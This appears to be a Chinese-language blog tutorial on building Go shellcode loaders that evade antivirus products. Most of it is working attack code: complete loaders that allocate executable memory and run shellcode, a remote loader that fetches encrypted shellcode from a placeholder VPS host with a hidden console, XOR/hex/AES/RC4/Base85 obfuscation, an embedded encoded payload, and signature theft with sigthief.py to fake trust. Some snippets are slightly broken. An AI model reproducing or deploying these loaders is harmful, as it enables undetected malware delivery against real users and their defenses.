go shellcode加载 bypass AV

go shellcode加载 bypass AV

在攻防实战中免杀技术尤为重要，站在巨人的肩膀上学习go shellcode免杀加载的方法

相关代码打包至github

免杀效果预览：

编写一个加载器需要围绕3个基本的功能实现：

• 申请内存空间：VirtualAlloc、VirtualAlloc2、VirtualAllocEx

• 导入内存：RtlCopyMemory、RtlCopyBytes、RtlMoveMemory

• 调用执行：创建线程的方式执行、用syscall调用执行、内嵌C代码执行

内存空间申请

VirtualAlloc

VirtualAlloc：在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态(分配的内存初始化为零)
SWAPMem, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
​
//0：开始内存地址
//uintptr(len(shellcode))：申请内存长度
//0x1000|0x2000：属性可读可写可执行
//0x40：仅保留分配信息及使用时对内存进行清零

VirtualAlloc2

VirtualAlloc2（进程注入）：在指定进程的虚拟地址空间内保留、提交或更改内存区域的状态。该函数将其分配的内存初始化为零
SWAPMem, _, _ := VirtualAlloc2.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
​
//pHandle：进程的句柄。该函数在该进程的虚拟地址空间内分配内存
//0：开始内存地址
//uintptr(len(shellcode))：申请内存长度
//0x1000|0x2000：属性可读可写可执行
//0x40：仅保留分配信息及使用时对内存进行清零

VirtualAllocEx

VirtualAllocEx（进程注入）：在指定进程的虚拟地址空间内保留、提交或更改内存区域的状态。该函数将其分配的内存初始化为零
SWAPMem, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
    
//pHandle：进程的句柄。该函数在该进程的虚拟地址空间内分配内存
//0：开始内存地址
//uintptr(len(shellcode))：申请内存长度
//0x1000|0x2000：属性可读可写可执行
//0x40：仅保留分配信息及使用时对内存进行清零

将shellcode导入内存

RtlCopyMemory

RtlCopyMemory：将源内存块的内容复制到目标内存块(新版)
_, _, _ = RtlCopyMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
​
//SWAPMem：指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
//uintptr(unsafe.Pointer(&shellcode[0]))：指向要从中复制字节的源内存块的指针，指shellcode的首地址
//uintptr(len(shellcode))：写入内存长度

RtlCopyBytes

RtlCopyBytes：将源内存块的内容复制到目标内存块(旧版)
_, _, _ = RtlCopyBytes.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
​
//SWAPMem：指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
//uintptr(unsafe.Pointer(&shellcode[0]))：指向要从中复制字节的源内存块的指针，指shellcode的首地址
//uintptr(len(shellcode))：写入内存长度

RtlMoveMemory

RtlMoveMemory：将源内存块的内容复制到目标内存块(旧版)
_, _, _ = RtlMoveMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    
//SWAPMem：指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
//uintptr(unsafe.Pointer(&shellcode[0]))：指向要从中复制字节的源内存块的指针，指shellcode的首地址
//uintptr(len(shellcode))：写入内存长度

shellcode调用执行

创建线程的方式执行

hThread, _, _ := CreateThread.Call(0, 0, SWAPMem, 0, 0, 0)
_, _, _ = WaitForSingleObject.Call(hThread, uintptr(0xffff))

golang直接用syscall调用执行

syscall.SyscallN(SWAPMem, 0, 0, 0, 0)

内嵌C代码执行

/*
void run(char* shellcode)
  {
      ((void(*)(void))shellcode)();
  }
*/import "C"
    C.run((*C.char)(unsafe.Pointer(SWAPMem)))

重要Windows API

具体接口和写法看官方文档

VirtualAlloc

VirtualAlloc

分配哪块地址，分配内存空间的大小，分配内存所在页的属性，以及该内存页的保护属性

LPVOID VirtualAlloc{
LPVOID lpAddress,
DWORD dwSize,
DWORD flAllocationType, 
DWORD flProtect
};

第一个参数指定在哪分配内存，是一个指针，设置为NULL就由系统决定

第二个参数表示需要申请的内存大小

flAllocationTypeMEM_RESERVE|MEM_COMMIT

flProtectPAGE_EXECUTE_READWRITEgolang.org/x/sys/windows

RtlMoveMemory

RtlMoveMemory

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);

需要移动目的地址指针，需要复制的内存地址指针，需要复制的字节数

VirtualProtect

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

前两个参数与VirtualAlloc一致，第三个参数和VirtualAlloc第四个参数一致

加载方式

基础加载

package main

import (
	"syscall"
	"unsafe"
)

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory")
)

func main() {
	shellcode := []byte{0x11，0x22}
	//shellcode位置
    
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
	//0：开始内存地址
	//uintptr(len(shellcode))：申请内存长度
	//0x1000|0x2000：属性可读可写可执行
	//0x40：仅保留分配信息及使用时对内存进行清零
    
	RtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	//SWAPMem：指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
	//uintptr(unsafe.Pointer(&shellcode[0]))：指向要从中复制字节的源内存块的指针，指shellcode的首地址
	//uintptr(len(shellcode))：写入内存长度
    
	syscall.Syscall(addr, 0, 0, 0, 0)
	//使用 syscall.Syscall() 函数调用存放在这个内存块里的 shellcode
}

纤程加载

package main

import (
	"github.com/JamesHovious/w32"
	"my_createFiber/winApi"
	"unsafe"
)

func main() {

	winApi.ProcConvertThreadToFiber()

	shellcode := []byte{}
	shellcodeAddr, _ := w32.VirtualAlloc(0, len(shellcode), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
	winApi.ProcRtlCopyMemory(w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

	var oldProtection w32.DWORD = 0
	w32.VirtualProtect(shellcodeAddr, len(shellcode), w32.PAGE_EXECUTE_READ, &oldProtection)

	fiberAddr := winApi.ProcCreateFiber(0, w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(nil)))

	winApi.ProcSwitchToFiber(w32.PVOID(fiberAddr))

}

因为默认shellcode特征太明显，落地直接秒

稍微进行一下异或处理，可bypass 360，但火绒落地秒，可能是检测到某些windows api特征

package main

import (
	"my_createFiber/winApi"
	"unsafe"

	"github.com/JamesHovious/w32"
)

func main() {

	winApi.ProcConvertThreadToFiber()

	shellcode := []byte{}
	shellcodeAddr, _ := w32.VirtualAlloc(0, len(shellcode), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
	for i := 0; i < len(shellcode); i++ {
		shellcode[i] ^= 66
	}
	winApi.ProcRtlCopyMemory(w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	var oldProtection w32.DWORD = 0
	w32.VirtualProtect(shellcodeAddr, len(shellcode), w32.PAGE_EXECUTE_READ, &oldProtection)

	fiberAddr := winApi.ProcCreateFiber(0, w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(nil)))

	winApi.ProcSwitchToFiber(w32.PVOID(fiberAddr))

}

远程加载

package main

import (
	"encoding/base64"
	"fmt"
	"os/exec"
	"syscall"
	"unsafe"

	"github.com/lxn/win"
	"golang.org/x/sys/windows"
)

var (
	get = exec.Command("cmd", "/c", "curl", "http://VPS地址")
)

func main() {
	// 通过 base64 和 XOR 解密 shellcode 内容
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	encryptedShellcode, err := get.Output()
	if err != nil {
		fmt.Println("Error getting encrypted shellcode:", err)
		return
	}
	encryptedShellcodeStr := string(encryptedShellcode)
	decodedShellcode, err := base64.StdEncoding.DecodeString(encryptedShellcodeStr)
	if err != nil {
		fmt.Println("Error decoding shellcode:", err)
		return
	}
	for i := 0; i < len(decodedShellcode); i++ {
		decodedShellcode[i] ^= 0x77
	}

	// 获取 kernel32.dll 中的 VirtualAlloc 函数
	kernel32, _ := syscall.LoadDLL("kernel32.dll")
	VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

	// 分配内存并写入 shellcode 内容
	allocSize := uintptr(len(decodedShellcode))
	mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
	if mem == 0 {
		panic("VirtualAlloc failed")
	}
	buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
	copy(buffer, decodedShellcode)

	// 执行 shellcode
	syscall.Syscall(mem, 0, 0, 0, 0)
}

但是这个方式，火绒直接落地秒，360无感运行，当代码中含有这一段的时候直接就杀掉了，哪怕只是请求百度这种正常的域名

var (
  get = exec.Command("cmd", "/c", "curl", "http://www.baidu.com")
)

net/httpexec

func main() {
	resp, err := http.Get("http://VPS地址")
	if err != nil {
		fmt.Println("Error getting remote connection:", err)
		return
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("Error reading from remote connection:", err)
		return
	}

	fmt.Println(string(body))
}

编译程序最终实现效果

常见的加密方式

AES加密

func AesEcbEncrypt(data, key []byte) []byte {
    cipher, _ := aes.NewCipher(generateAesKey(key))
    length := (len(data) + aes.BlockSize) / aes.BlockSize
    plain := make([]byte, length*aes.BlockSize)    copy(plain, data)
    pad := byte(len(plain) - len(data))    
    for i := len(data); i < len(plain); i++ {
        plain[i] = pad
    }
    encrypted := make([]byte, len(plain))    
    for bs, be := 0, cipher.BlockSize(); 
    bs <= len(data); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
        cipher.Encrypt(encrypted[bs:be], plain[bs:be])
    }    
    return encrypted
}

hex加密

首先对payload进行hex处理

package main

import (
	"encoding/hex"
	"fmt"
	"io/ioutil"
	"os"
	"strings"
)

func main() {
	filename := os.Args[1]
	data, _ := ioutil.ReadFile(filename)
	ncode := hex.EncodeToString(data)
	ncode = strings.Replace(ncode, "\n", "", -1)
	fmt.Println("code:", ncode)
}

处理后的hex字符串填入下面，编译运行

package main

import (
	"encoding/hex"
	"fmt"
	"golang.org/x/sys/windows"
	"log"
	"syscall"
	"unsafe"
)

func main() {
	// 从文件中读取hex编码的字符串
	encodedShellcode := ""
	decodedShellcode, err := hex.DecodeString(encodedShellcode)
	if err != nil {
		log.Fatalf("Failed to decode shellcode: %v", err)
	}

	// 申请可读可写可执行的内存空间
	addr, err := windows.VirtualAlloc(
		0,
		uintptr(len(decodedShellcode)),
		windows.MEM_COMMIT|windows.MEM_RESERVE,
		windows.PAGE_EXECUTE_READWRITE,
	)
	if err != nil {
		log.Fatalf("Failed to allocate memory: %v", err)
	}

	// 将shellcode拷贝到申请的内存空间中
	copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(decodedShellcode)], decodedShellcode)

	// 执行shellcode
	var oldProtect uint32
	err = windows.VirtualProtect(
		addr,
		uintptr(len(decodedShellcode)),
		windows.PAGE_EXECUTE_READ,
		&oldProtect,
	)
	if err != nil {
		log.Fatalf("Failed to change memory protection: %v", err)
	}

	ret, _, err := syscall.Syscall(addr, 0, 0, 0, 0)
	if err.Error() != "The operation completed successfully." {
		log.Fatalf("Failed to execute shellcode: %v", err)
	}
	fmt.Printf("Shellcode executed successfully. Return value: %d\n", ret)
}

XOR+base64加密

payload.c

import base64

originalShellcode = b"\xfc\xe8\x89\x00"
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')

print(encodedShellcode)

输出的内容填入下面位置进行编译

package main

import (
	"encoding/base64"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	// 通过 base64 和 XOR 解密 shellcode 内容
	encryptedShellcode := "A7d8Gw8XN////76uvq+trqm3zi2at3Stn7d0ree3dK3ft3SNr7fwSLW1ss42t84/U8Oeg/3T374+NvK+/j4dEq2+rrd0rd90vcO3/i+Zfofn9P2KjXR/d////7d6P4uYt/4vr3S357t0v9+2/i8cqbcANr50y3e3/imyzja3zj9Tvj428r7+Pscfig6z/LPb97rGLoonp7t0v9u2/i+ZvnTzt7t0v+O2/i++dPt3t/4vvqe+p6Gmpb6nvqa+pbd8E9++rQAfp76mpbd07RawAAAAopX/tkGIlpGWkZqL/76ptnYZs3YOvkWziNn4ACq3zja3zi2yzj+yzja+r76vvkXFqYZYACoWbP///6W3dj6+R0T+//+yzja+rr6ulfy+rr5FqHZgOQAqFIakt3Y+t84ttnYnss42rZf/zT97ra2+RRSq0cQAKrd2Obd8PK+V9aC3dg5F4P///5X/l3/M//+2dh++Rvv///++RYq5YXkAKrd2Drd2JbY4PwAAAACyzjatrb5F0vnnhAAqej/wemL+//+3ADDwe3P+//8UTBYb/v//F30AAADQjJqRjJCNjNKSlpHRlYz/c+3E0xVwtP+ApVnzO+p1jev92qT3Uha95ujzW9R0pB+T1tLqz3M7T4bojcRBeYZAxqvqVklSBew8vF37KQhZaTk57QytHP39eolpGbkIiM37Gr387P0c/E36iWkcnLxN+HycvW376Pj5OaqJqdtJaL0MrMyNHMyd/XtLersrPT35OWlJrfuJqclJDW37yXjZCSmtDGz9HP0cvLzM/Rzc7N36yemZ6NltDKzMjRzMny9f9J1nD115WW/zOlre6c8XRKvTPzSFlvBWQ7Xe3Z2n9HRaMWsEXVAmq35RIGhR/5RHkjgDZQ0XJmnmx4PYSHoWumxG2gjD7itHpCnmjtxTIkhp4Bn0FopivbLA9HWPRUa4OX1YxFjr0akpRpTWBk9cfKK+mLZELu7izwC1MyRZb/5Fhlm8hjll2IsYujj370H4XyT1gnmP++QQ9KXakAKrfONkX//7//vkf/7///vka/////vkWnW6waACq3bKyst3YYt3YOt3Ylvkf/3///tnYGvkXtaXYdACq3fDvfej+LSZl0+Lf+PHo/iiinp6e3+v////+vPBeAAgAAjJqNiZacmtKUjY2QkJ6Ml9LOzM/IyM/Px87H0YyX0Z6PlpiI0YuakZyakYucjNGckJL/+goe/w=="
	decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
	for i := 0; i < len(decodedShellcode); i++ {
		decodedShellcode[i] ^= 0xFF
	}

	// 获取 kernel32.dll 中的 VirtualAlloc 函数
	kernel32, _ := syscall.LoadDLL("kernel32.dll")
	VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

	// 分配内存并写入 shellcode 内容
	allocSize := uintptr(len(decodedShellcode))
	mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
	if mem == 0 {
		panic("VirtualAlloc failed")
	}
	buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
	copy(buffer, decodedShellcode)

	// 执行 shellcode
	syscall.Syscall(mem, 0, 0, 0, 0)
}

可以看到免杀性已经很不错了，常规三件套都能过

Base85+XOR+RC4

package main

import (
	"crypto/rc4"
	"encoding/hex"
	"fmt"

	"github.com/eknkc/basex"
)

func main() {
	key := []byte("demaxiya")                                                                                                 
	message := "\xfc\x48\x83\" // 原始消息

	// XOR 操作
	xordMessage := make([]byte, len(message))
	for i := 0; i < len(message); i++ {
		xordMessage[i] = message[i] ^ 0xff
	}

	// RC4 加密
	cipher, _ := rc4.NewCipher(key)
	rc4Message := make([]byte, len(xordMessage))
	cipher.XORKeyStream(rc4Message, xordMessage)

	// 转为十六进制
	hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
	n := hex.Encode(hexCiphertext, rc4Message)
	hexCiphertext = hexCiphertext[:n]

	// Base85 编码
	base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
	encodedMessage := base85.Encode(hexCiphertext)

	fmt.Println(encodedMessage)
}

把经过 Base85 编码的密文解码并转换成 RC4 密文，再使用 RC4 解密，最后进行 XOR 解密以得到原始消息

package main

import (
	"crypto/rc4"
	"encoding/hex"
	"syscall"
	"unsafe"

	"github.com/eknkc/basex"
	"github.com/lxn/win"
	"golang.org/x/sys/windows"
)

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	key := []byte("demaxiya")                                                                                                   
	encodedMessage := "1m>R;_Qw{V848K~V>8M7Q+ES##)Q;K5aVkstg9CWSCt6f?FWpTo`M(QMl`QjG86)Jb29M(8FZ6gdafG0X};3`AtC^b#yXG7DCSB82#)w{&6&%>P}l7?(@inOmb2Ol;bP4TVAZ%->Rm5=>vbi>3OSIf)y1%(WXV0#H^jxnZlm-I@OgE7&5Q&W#mJ9r@7m(i2ur<4rcSw*`Gth(QaquAf39>S>A2eC$GnV6&tIQ8+2@{bAKYynp}XQ}" 
    // 编码后的消息

	// Base85 解码
	base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
	hexCiphertext, _ := base85.Decode(encodedMessage)

	// 转为二进制
	rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))
	n, _ := hex.Decode(rc4Message, hexCiphertext)
	rc4Message = rc4Message[:n]

	// RC4 解密
	cipher, _ := rc4.NewCipher(key)
	xordMessage := make([]byte, len(rc4Message))
	cipher.XORKeyStream(xordMessage, rc4Message)

	// XOR 操作
	message := make([]byte, len(xordMessage))
	for i := 0; i < len(xordMessage); i++ {
		message[i] = xordMessage[i] ^ 0xff
	}

	kernel32, _ := syscall.LoadDLL("kernel32.dll")
	VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

	// 分配内存并写入 shellcode 内容
	allocSize := uintptr(len(message))
	mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
	if mem == 0 {
		panic("VirtualAlloc failed")
	}
	buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
	copy(buffer, message)

	// 执行 shellcode
	syscall.Syscall(mem, 0, 0, 0, 0)
}

go编译参数

go编译参数免杀影响

参数	参数说明	免杀影响	备注
-race	竞态检测编译	很大	加了race参数,文件更大比原始的还大,曾经不错，但如今效果很差
-ldflags '-s -w'	去除编译信息	几乎没有	常用的编译命令，减小体积但是会有黑框
-ldflags '-H windowsgui'	隐藏窗口	一般	常用编译命令,免杀效果一般,减少文件体积+隐藏窗口

隐藏黑框

go build -ldflags="-s -w"

package main

import "github.com/gonutz/ide/w32"

func ShowConsoleAsync(commandShow uintptr) {
	console := w32.GetConsoleWindow()
	if console != 0 {
		_, consoleProcID := w32.GetWindowThreadProcessId(console)
		if w32.GetCurrentProcessId() == consoleProcID {
			w32.ShowWindowAsync(console, commandShow)
		}
	}
}

func main() {
	ShowConsoleAsync(w32.SW_HIDE)
}

package main

import "github.com/lxn/win"

func main(){
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}

garble混淆编译

之前免杀性好，现在基本都被杀软拦截，不推荐使用，增加查杀率

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go

参数解释：
garble(混淆库)：
-tiny                    删除额外信息
-literals               混淆文字
-seed=random   base64编码的随机种子

资源修改

为什么需要添加资源？因为像一些杀软如果碰到陌生的程序，即便是无害化程序也会列入可疑项，添加资源可增加程序可信度，降低熵值

伪造签名

python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe

-i 为签名文件
-t 为需要伪造的文件
-o 为输出文件

更换图标

Resource hacker

参考链接：